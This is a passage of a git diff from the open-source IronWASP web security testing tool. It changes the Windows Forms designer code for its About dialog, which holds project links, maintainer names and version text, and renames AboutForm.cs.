System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox17.ForeColor = System.Drawing.SystemColors.MenuHighlight; - this.textBox17.Location = new System.Drawing.Point(255, 90); - this.textBox17.Name = "textBox17"; - this.textBox17.ReadOnly = true; - this.textBox17.Size = new System.Drawing.Size(96, 18); - this.textBox17.TabIndex = 19; - this.textBox17.Text = "@lavakumark"; - // - // textBox15 - // - this.textBox15.BackColor = System.Drawing.Color.Cornsilk; - this.textBox15.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox15.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox15.ForeColor = System.Drawing.SystemColors.MenuHighlight; - this.textBox15.Location = new System.Drawing.Point(109, 90); - this.textBox15.Name = "textBox15"; - this.textBox15.ReadOnly = true; - this.textBox15.Size = new System.Drawing.Size(120, 18); - this.textBox15.TabIndex = 18; - this.textBox15.Text = "lava@ironwasp.org"; - // - // textBox16 - // - this.textBox16.BackColor = System.Drawing.Color.Cornsilk; - this.textBox16.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox16.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox16.Location = new System.Drawing.Point(7, 90); - this.textBox16.Name = "textBox16"; - this.textBox16.ReadOnly = true; - this.textBox16.Size = new System.Drawing.Size(117, 18); - this.textBox16.TabIndex = 17; - this.textBox16.Text = "Contact Author:"; - // - // textBox13 - // - this.textBox13.BackColor = System.Drawing.Color.Cornsilk; - this.textBox13.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox13.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox13.ForeColor = System.Drawing.SystemColors.MenuHighlight; - this.textBox13.Location = new System.Drawing.Point(109, 67); - this.textBox13.Name = "textBox13"; - this.textBox13.ReadOnly = true; - this.textBox13.Size = new System.Drawing.Size(255, 18); - this.textBox13.TabIndex = 16; - this.textBox13.Text = "http://groups.google.com/group/ironwasp"; - // - // textBox14 - // - this.textBox14.BackColor = System.Drawing.Color.Cornsilk; - this.textBox14.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox14.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox14.Location = new System.Drawing.Point(8, 67); - this.textBox14.Name = "textBox14"; - this.textBox14.ReadOnly = true; - this.textBox14.Size = new System.Drawing.Size(101, 18); - this.textBox14.TabIndex = 15; - this.textBox14.Text = "Mailing List:"; - // - // textBox3 - // - this.textBox3.BackColor = System.Drawing.Color.Cornsilk; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox3.ForeColor = System.Drawing.SystemColors.MenuHighlight; - this.textBox3.Location = new System.Drawing.Point(110, 46); - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(131, 18); - this.textBox3.TabIndex = 14; - this.textBox3.Text = "http://ironwasp.org"; - // - // textBox12 - // - this.textBox12.BackColor = System.Drawing.Color.Cornsilk; - this.textBox12.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox12.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox12.Location = new System.Drawing.Point(8, 46); - this.textBox12.Name = "textBox12"; - this.textBox12.ReadOnly = true; - this.textBox12.Size = new System.Drawing.Size(101, 18); - this.textBox12.TabIndex = 13; - this.textBox12.Text = "Project Home:"; - // - // textBox2 - // - this.textBox2.BackColor = System.Drawing.Color.Cornsilk; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox2.Location = new System.Drawing.Point(8, 132); - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(427, 18); - this.textBox2.TabIndex = 12; - this.textBox2.Text = "IronWASP is powered by Python and Ruby plugin repositories"; - // - // textBox11 - // - this.textBox11.BackColor = System.Drawing.Color.Cornsilk; - this.textBox11.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox11.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox11.ForeColor = System.Drawing.SystemColors.MenuHighlight; - this.textBox11.Location = new System.Drawing.Point(129, 215); - this.textBox11.Name = "textBox11"; - this.textBox11.ReadOnly = true; - this.textBox11.Size = new System.Drawing.Size(354, 18); - this.textBox11.TabIndex = 11; - this.textBox11.Text = "https://github.com/lavakumar/IronWASP-Python-Plugins"; - // - // textBox10 - // - this.textBox10.BackColor = System.Drawing.Color.Cornsilk; - this.textBox10.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox10.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox10.ForeColor = System.Drawing.SystemColors.MenuHighlight; - this.textBox10.Location = new System.Drawing.Point(116, 161); - this.textBox10.Name = "textBox10"; - this.textBox10.ReadOnly = true; - this.textBox10.Size = new System.Drawing.Size(340, 18); - this.textBox10.TabIndex = 10; - this.textBox10.Text = "https://github.com/msaindane/IronWASP-Ruby-Plugins"; - // - // textBox9 - // - this.textBox9.BackColor = System.Drawing.Color.Cornsilk; - this.textBox9.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox9.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox9.Location = new System.Drawing.Point(7, 213); - this.textBox9.Name = "textBox9"; - this.textBox9.ReadOnly = true; - this.textBox9.Size = new System.Drawing.Size(126, 21); - this.textBox9.TabIndex = 9; - this.textBox9.Text = "Python Plugins:"; - // - // textBox8 - // - this.textBox8.BackColor = System.Drawing.Color.Cornsilk; - this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox8.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox8.Location = new System.Drawing.Point(8, 159); - this.textBox8.Name = "textBox8"; - this.textBox8.ReadOnly = true; - this.textBox8.Size = new System.Drawing.Size(101, 21); - this.textBox8.TabIndex = 8; - this.textBox8.Text = "Ruby Plugins:"; - // - // textBox7 - // - this.textBox7.BackColor = System.Drawing.Color.Cornsilk; - this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox7.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox7.Location = new System.Drawing.Point(7, 238); - this.textBox7.Name = "textBox7"; - this.textBox7.ReadOnly = true; - this.textBox7.Size = new System.Drawing.Size(212, 18); - this.textBox7.TabIndex = 7; - this.textBox7.Text = "Maintained by Lavakumar Kuppan"; - // - // textBox6 - // - this.textBox6.BackColor = System.Drawing.Color.Cornsilk; - this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox6.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox6.Location = new System.Drawing.Point(8, 183); - this.textBox6.Name = "textBox6"; - this.textBox6.ReadOnly = true; - this.textBox6.Size = new System.Drawing.Size(194, 18); - this.textBox6.TabIndex = 6; - this.textBox6.Text = "Maintained by Manish Saindane"; - // - // textBox5 - // - this.textBox5.BackColor = System.Drawing.Color.Cornsilk; - this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox5.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox5.Location = new System.Drawing.Point(230, 237); - this.textBox5.Name = "textBox5"; - this.textBox5.ReadOnly = true; - this.textBox5.Size = new System.Drawing.Size(105, 21); - this.textBox5.TabIndex = 5; - this.textBox5.Text = "@lavakumark"; - // - // textBox4 - // - this.textBox4.BackColor = System.Drawing.Color.Cornsilk; - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox4.Location = new System.Drawing.Point(211, 181); - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(101, 21); - this.textBox4.TabIndex = 4; - this.textBox4.Text = "@msaindane"; - // - // AboutForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.SystemColors.Window; - this.ClientSize = new System.Drawing.Size(494, 322); - this.Controls.Add(this.AboutFormVersionTB); - this.Controls.Add(this.panel2); - this.Controls.Add(this.AboutLogoPB); - this.Controls.Add(this.AboutFormCopyrightTB); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "AboutForm"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Iron Web application Advanced Security testing Platform"; - this.TopMost = true; - ((System.ComponentModel.ISupportInitialize)(this.AboutLogoPB)).EndInit(); - this.panel2.ResumeLayout(false); - this.panel2.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.Panel panel2; - private System.Windows.Forms.TextBox textBox5; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.TextBox textBox6; - private System.Windows.Forms.TextBox textBox9; - private System.Windows.Forms.TextBox textBox8; - private System.Windows.Forms.TextBox textBox10; - private System.Windows.Forms.TextBox textBox11; - internal System.Windows.Forms.TextBox AboutFormVersionTB; - internal System.Windows.Forms.TextBox AboutFormCopyrightTB; - internal System.Windows.Forms.PictureBox AboutLogoPB; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.TextBox textBox12; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.TextBox textBox13; - private System.Windows.Forms.TextBox textBox14; - private System.Windows.Forms.TextBox textBox15; - private System.Windows.Forms.TextBox textBox16; - private System.Windows.Forms.TextBox textBox17; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class AboutForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutForm)); + this.AboutLogoPB = new System.Windows.Forms.PictureBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.AboutFormCopyrightTB = new System.Windows.Forms.TextBox(); + this.AboutFormVersionTB = new System.Windows.Forms.TextBox(); + this.panel2 = new System.Windows.Forms.Panel(); + this.textBox17 = new System.Windows.Forms.TextBox(); + this.textBox15 = new System.Windows.Forms.TextBox(); + this.textBox16 = new System.Windows.Forms.TextBox(); + this.textBox13 = new System.Windows.Forms.TextBox(); + this.textBox14 = new System.Windows.Forms.TextBox(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.textBox12 = new System.Windows.Forms.TextBox(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.textBox11 = new System.Windows.Forms.TextBox(); + this.textBox10 = new System.Windows.Forms.TextBox(); + this.textBox9 = new System.Windows.Forms.TextBox(); + this.textBox8 = new System.Windows.Forms.TextBox(); + this.textBox7 = new System.Windows.Forms.TextBox(); + this.textBox6 = new System.Windows.Forms.TextBox(); + this.textBox5 = new System.Windows.Forms.TextBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + ((System.ComponentModel.ISupportInitialize)(this.AboutLogoPB)).BeginInit(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // AboutLogoPB + // + this.AboutLogoPB.Image = ((System.Drawing.Image)(resources.GetObject("AboutLogoPB.Image"))); + this.AboutLogoPB.InitialImage = ((System.Drawing.Image)(resources.GetObject("AboutLogoPB.InitialImage"))); + this.AboutLogoPB.Location = new System.Drawing.Point(4, 6); + this.AboutLogoPB.Name = "AboutLogoPB"; + this.AboutLogoPB.Size = new System.Drawing.Size(215, 39); + this.AboutLogoPB.TabIndex = 0; + this.AboutLogoPB.TabStop = false; + // + // textBox1 + // + this.textBox1.BackColor = System.Drawing.Color.Cornsilk; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox1.Location = new System.Drawing.Point(5, 4); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(473, 40); + this.textBox1.TabIndex = 1; + this.textBox1.Text = "IronWASP is an Open Source and Open Architecure Project designed for Advanced Web" + + " Security Testing"; + // + // AboutFormCopyrightTB + // + this.AboutFormCopyrightTB.BackColor = System.Drawing.SystemColors.Window; + this.AboutFormCopyrightTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.AboutFormCopyrightTB.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.AboutFormCopyrightTB.Location = new System.Drawing.Point(231, 25); + this.AboutFormCopyrightTB.Multiline = true; + this.AboutFormCopyrightTB.Name = "AboutFormCopyrightTB"; + this.AboutFormCopyrightTB.ReadOnly = true; + this.AboutFormCopyrightTB.Size = new System.Drawing.Size(244, 21); + this.AboutFormCopyrightTB.TabIndex = 2; + this.AboutFormCopyrightTB.Text = "Copyright © 2015 Lavakumar Kuppan"; + // + // AboutFormVersionTB + // + this.AboutFormVersionTB.BackColor = System.Drawing.SystemColors.Window; + this.AboutFormVersionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.AboutFormVersionTB.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.AboutFormVersionTB.Location = new System.Drawing.Point(263, 6); + this.AboutFormVersionTB.Multiline = true; + this.AboutFormVersionTB.Name = "AboutFormVersionTB"; + this.AboutFormVersionTB.ReadOnly = true; + this.AboutFormVersionTB.Size = new System.Drawing.Size(166, 23); + this.AboutFormVersionTB.TabIndex = 3; + this.AboutFormVersionTB.Text = "Installed Version: 0.9.8.6"; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.Cornsilk; + this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel2.Controls.Add(this.textBox17); + this.panel2.Controls.Add(this.textBox15); + this.panel2.Controls.Add(this.textBox16); + this.panel2.Controls.Add(this.textBox13); + this.panel2.Controls.Add(this.textBox14); + this.panel2.Controls.Add(this.textBox3); + this.panel2.Controls.Add(this.textBox12); + this.panel2.Controls.Add(this.textBox2); + this.panel2.Controls.Add(this.textBox11); + this.panel2.Controls.Add(this.textBox10); + this.panel2.Controls.Add(this.textBox9); + this.panel2.Controls.Add(this.textBox8); + this.panel2.Controls.Add(this.textBox7); + this.panel2.Controls.Add(this.textBox6); + this.panel2.Controls.Add(this.textBox5); + this.panel2.Controls.Add(this.textBox4); + this.panel2.Controls.Add(this.textBox1); + this.panel2.Location = new System.Drawing.Point(3, 54); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(488, 265); + this.panel2.TabIndex = 4; + // + // textBox17 + // + this.textBox17.BackColor = System.Drawing.Color.Cornsilk; + this.textBox17.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox17.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox17.ForeColor = System.Drawing.SystemColors.MenuHighlight; + this.textBox17.Location = new System.Drawing.Point(255, 90); + this.textBox17.Name = "textBox17"; + this.textBox17.ReadOnly = true; + this.textBox17.Size = new System.Drawing.Size(96, 18); + this.textBox17.TabIndex = 19; + this.textBox17.Text = "@lavakumark"; + // + // textBox15 + // + this.textBox15.BackColor = System.Drawing.Color.Cornsilk; + this.textBox15.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox15.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox15.ForeColor = System.Drawing.SystemColors.MenuHighlight; + this.textBox15.Location = new System.Drawing.Point(109, 90); + this.textBox15.Name = "textBox15"; + this.textBox15.ReadOnly = true; + this.textBox15.Size = new System.Drawing.Size(120, 18); + this.textBox15.TabIndex = 18; + this.textBox15.Text = "lava@ironwasp.org"; + // + // textBox16 + // + this.textBox16.BackColor = System.Drawing.Color.Cornsilk; + this.textBox16.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox16.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox16.Location = new System.Drawing.Point(7, 90); + this.textBox16.Name = "textBox16"; + this.textBox16.ReadOnly = true; + this.textBox16.Size = new System.Drawing.Size(117, 18); + this.textBox16.TabIndex = 17; + this.textBox16.Text = "Contact Author:"; + // + // textBox13 + // + this.textBox13.BackColor = System.Drawing.Color.Cornsilk; + this.textBox13.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox13.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox13.ForeColor = System.Drawing.SystemColors.MenuHighlight; + this.textBox13.Location = new System.Drawing.Point(109, 67); + this.textBox13.Name = "textBox13"; + this.textBox13.ReadOnly = true; + this.textBox13.Size = new System.Drawing.Size(255, 18); + this.textBox13.TabIndex = 16; + this.textBox13.Text = "http://groups.google.com/group/ironwasp"; + // + // textBox14 + // + this.textBox14.BackColor = System.Drawing.Color.Cornsilk; + this.textBox14.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox14.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox14.Location = new System.Drawing.Point(8, 67); + this.textBox14.Name = "textBox14"; + this.textBox14.ReadOnly = true; + this.textBox14.Size = new System.Drawing.Size(101, 18); + this.textBox14.TabIndex = 15; + this.textBox14.Text = "Mailing List:"; + // + // textBox3 + // + this.textBox3.BackColor = System.Drawing.Color.Cornsilk; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox3.ForeColor = System.Drawing.SystemColors.MenuHighlight; + this.textBox3.Location = new System.Drawing.Point(110, 46); + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(131, 18); + this.textBox3.TabIndex = 14; + this.textBox3.Text = "http://ironwasp.org"; + // + // textBox12 + // + this.textBox12.BackColor = System.Drawing.Color.Cornsilk; + this.textBox12.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox12.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox12.Location = new System.Drawing.Point(8, 46); + this.textBox12.Name = "textBox12"; + this.textBox12.ReadOnly = true; + this.textBox12.Size = new System.Drawing.Size(101, 18); + this.textBox12.TabIndex = 13; + this.textBox12.Text = "Project Home:"; + // + // textBox2 + // + this.textBox2.BackColor = System.Drawing.Color.Cornsilk; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox2.Location = new System.Drawing.Point(8, 132); + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(427, 18); + this.textBox2.TabIndex = 12; + this.textBox2.Text = "IronWASP is powered by Python and Ruby plugin repositories"; + // + // textBox11 + // + this.textBox11.BackColor = System.Drawing.Color.Cornsilk; + this.textBox11.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox11.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox11.ForeColor = System.Drawing.SystemColors.MenuHighlight; + this.textBox11.Location = new System.Drawing.Point(129, 215); + this.textBox11.Name = "textBox11"; + this.textBox11.ReadOnly = true; + this.textBox11.Size = new System.Drawing.Size(354, 18); + this.textBox11.TabIndex = 11; + this.textBox11.Text = "https://github.com/lavakumar/IronWASP-Python-Plugins"; + // + // textBox10 + // + this.textBox10.BackColor = System.Drawing.Color.Cornsilk; + this.textBox10.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox10.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox10.ForeColor = System.Drawing.SystemColors.MenuHighlight; + this.textBox10.Location = new System.Drawing.Point(116, 161); + this.textBox10.Name = "textBox10"; + this.textBox10.ReadOnly = true; + this.textBox10.Size = new System.Drawing.Size(340, 18); + this.textBox10.TabIndex = 10; + this.textBox10.Text = "https://github.com/msaindane/IronWASP-Ruby-Plugins"; + // + // textBox9 + // + this.textBox9.BackColor = System.Drawing.Color.Cornsilk; + this.textBox9.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox9.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox9.Location = new System.Drawing.Point(7, 213); + this.textBox9.Name = "textBox9"; + this.textBox9.ReadOnly = true; + this.textBox9.Size = new System.Drawing.Size(126, 21); + this.textBox9.TabIndex = 9; + this.textBox9.Text = "Python Plugins:"; + // + // textBox8 + // + this.textBox8.BackColor = System.Drawing.Color.Cornsilk; + this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox8.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox8.Location = new System.Drawing.Point(8, 159); + this.textBox8.Name = "textBox8"; + this.textBox8.ReadOnly = true; + this.textBox8.Size = new System.Drawing.Size(101, 21); + this.textBox8.TabIndex = 8; + this.textBox8.Text = "Ruby Plugins:"; + // + // textBox7 + // + this.textBox7.BackColor = System.Drawing.Color.Cornsilk; + this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox7.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox7.Location = new System.Drawing.Point(7, 238); + this.textBox7.Name = "textBox7"; + this.textBox7.ReadOnly = true; + this.textBox7.Size = new System.Drawing.Size(212, 18); + this.textBox7.TabIndex = 7; + this.textBox7.Text = "Maintained by Lavakumar Kuppan"; + // + // textBox6 + // + this.textBox6.BackColor = System.Drawing.Color.Cornsilk; + this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox6.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox6.Location = new System.Drawing.Point(8, 183); + this.textBox6.Name = "textBox6"; + this.textBox6.ReadOnly = true; + this.textBox6.Size = new System.Drawing.Size(194, 18); + this.textBox6.TabIndex = 6; + this.textBox6.Text = "Maintained by Manish Saindane"; + // + // textBox5 + // + this.textBox5.BackColor = System.Drawing.Color.Cornsilk; + this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox5.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox5.Location = new System.Drawing.Point(230, 237); + this.textBox5.Name = "textBox5"; + this.textBox5.ReadOnly = true; + this.textBox5.Size = new System.Drawing.Size(105, 21); + this.textBox5.TabIndex = 5; + this.textBox5.Text = "@lavakumark"; + // + // textBox4 + // + this.textBox4.BackColor = System.Drawing.Color.Cornsilk; + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Font = new System.Drawing.Font("Palatino Linotype", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.textBox4.Location = new System.Drawing.Point(211, 181); + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(101, 21); + this.textBox4.TabIndex = 4; + this.textBox4.Text = "@msaindane"; + // + // AboutForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.SystemColors.Window; + this.ClientSize = new System.Drawing.Size(494, 322); + this.Controls.Add(this.AboutFormVersionTB); + this.Controls.Add(this.panel2); + this.Controls.Add(this.AboutLogoPB); + this.Controls.Add(this.AboutFormCopyrightTB); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "AboutForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Iron Web application Advanced Security testing Platform"; + this.TopMost = true; + ((System.ComponentModel.ISupportInitialize)(this.AboutLogoPB)).EndInit(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.TextBox textBox5; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.TextBox textBox7; + private System.Windows.Forms.TextBox textBox6; + private System.Windows.Forms.TextBox textBox9; + private System.Windows.Forms.TextBox textBox8; + private System.Windows.Forms.TextBox textBox10; + private System.Windows.Forms.TextBox textBox11; + internal System.Windows.Forms.TextBox AboutFormVersionTB; + internal System.Windows.Forms.TextBox AboutFormCopyrightTB; + internal System.Windows.Forms.PictureBox AboutLogoPB; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.TextBox textBox12; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.TextBox textBox13; + private System.Windows.Forms.TextBox textBox14; + private System.Windows.Forms.TextBox textBox15; + private System.Windows.Forms.TextBox textBox16; + private System.Windows.Forms.TextBox textBox17; + } } \ No newline at end of file diff --git a/IronWASP/AboutForm.cs b/Iron/AboutForm.cs similarity index 94% rename from IronWASP/AboutForm.cs rename to Iron/AboutForm.cs index 8b651f0..4cb76c3 100644 --- a/IronWASP/AboutForm.cs +++ b/Iron/AboutForm.cs @@ -1,18 +1,18 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class AboutForm : Form - { - public AboutForm() - { - InitializeComponent(); - } - } -} +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class AboutForm : Form + { + public AboutForm() + { + InitializeComponent(); + } + } +} diff --git a/Iron/AboutForm.resx b/Iron/AboutForm.resx new file mode 100644 index 0000000..c0757f3 --- /dev/null +++ b/Iron/AboutForm.resx @@ -0,0 +1,2077 